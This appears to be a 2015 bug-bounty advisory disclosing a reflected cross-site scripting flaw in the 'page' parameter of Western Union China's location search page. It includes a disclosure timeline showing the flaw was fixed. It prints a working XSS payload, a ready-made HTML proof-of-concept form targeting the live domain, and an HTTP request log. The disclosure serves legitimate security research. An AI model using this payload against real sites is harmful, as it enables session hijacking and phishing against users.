Western Union Cross Site Scripting

Type packetstorm
Reporter Milan A Solanki
Modified 2015-12-22T00:00:00


                                            `Document Title:  
Western Union CN Bug Bounty #6 - Client Side Cross Site Scripting Web Vulnerability  
References (Source):  
Release Date:  
Vulnerability Laboratory ID (VL-ID):  
Common Vulnerability Scoring System:  
Product & Service Introduction:  
The Western Union Company is an American financial services and communications company. Its North American headquarters is in Meridian, Colorado,   
though the postal designation of nearby Englewood is used in its mailing address. Up until it discontinued the service in 2006, Western Union was   
the best-known U.S. company in the business of exchanging telegrams.  
(Copy of the Homepage: https://en.wikipedia.org/wiki/Western_Union )  
Abstract Advisory Information:  
The Vulnerability Laboratory Core Research Team discovered a client-side cross site scripting web vulnerability in the official Western Union China web-application.  
Vulnerability Disclosure Timeline:  
25-11-2015 : Reported  
25-11-2015 : Report Validate  
14-12-2015 : Fixed and Bounty Awarded   
Discovery Status:  
Affected Product(s):  
Western Union Company  
Product: Western Union - Web Application (Locations) 2015 Q4  
Exploitation Technique:  
Severity Level:  
Technical Details & Description:  
A POST inject web vulnerability has been discovered in the official Western Union Union online service web-application.  
A vulnerability allows remote attackers to inject malicious script codes on the client-side of the affected web-application.  
The vulnerability is located in the `page` value of the `location_search.php` file. Remote attackers are able to inject own   
malicious script codes to the client-side of the affected web-application. The request method to inject is POST and the attack   
vector is client-side. The attacker inject the payload in the page value to execute the code in the results page of the location   
search module.   
The security risk of the client-side web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.2.   
Exploitation of the non-persistent web vulnerability requires a no privilege web-application user account and low or medium user interaction.   
Successful exploitation results in session hijacking, persistent phishings attacks, persistent external redirect and malware loads or persistent   
manipulation of affected or connected module context.  
Request Method(s):  
[+] POST  
Vulnerable Module(s):  
[+] Location Search  
Vulnerable Parameter(s):  
[+] page  
Affected Domain(s):  
[+] location_search.php  
Proof of Concept (PoC):  
The cross site scripting web vulnerability can be exploited by remote attackers without privilege web-application user account or user interaction.  
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.  
Affected domain, path & file:   
PoC Payload:   
<--`<img/src=` onerror=alert(document.domain)> --!>  
Affected parameter:  
PoC: html  
<form action="http://westernunion.cn/en/location_search.php" method="POST">   
<input type="hidden" name="page" value="1<--`<img/src=` onerror=alert(document.domain)> --!>" />   
<input type="hidden" name="province" value="SHAANXI" />   
<input type="hidden" name="city_backup" value="" />   
<input type="hidden" name="city" value="SHANGLUO" />   
<input type="hidden" name="district" value="" />   
<input type="hidden" name="location" value="AGRICULTURAL BANK OF CHINA" />   
<input type="hidden" name="payout" value="USD" />   
<input type="hidden" name="search_keyword" value="" />   
<input type="submit" value="Submit request" />   
--- PoC HTTP REQUEST Session Logs ---  
POST /en/location_search.php HTTP/1.1   
Host: westernunion.cn   
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0   
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8   
Accept-Language: en-US,en;q=0.5   
Accept-Encoding: gzip, deflate   
Cookie: __utma=11880754.2028102378.1448438929.1448438929.1448438929.1; __utmb=11880754.9.10.1448438929; __utmz=11880754.1448438929.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)   
Connection: keep-alive   
Content-Type: application/x-www-form-urlencoded   
Content-Length: 198  
Security Risk:  
The security risk of the client-side cross site scripting web vulnerability in the chinese wester union bank web-application is estimated as medium. (CVSS 3.2)  
Credits & Authors:  
Vulnerability Laboratory [Research Team] - Milan Solanki [milans812@gmail.com]  
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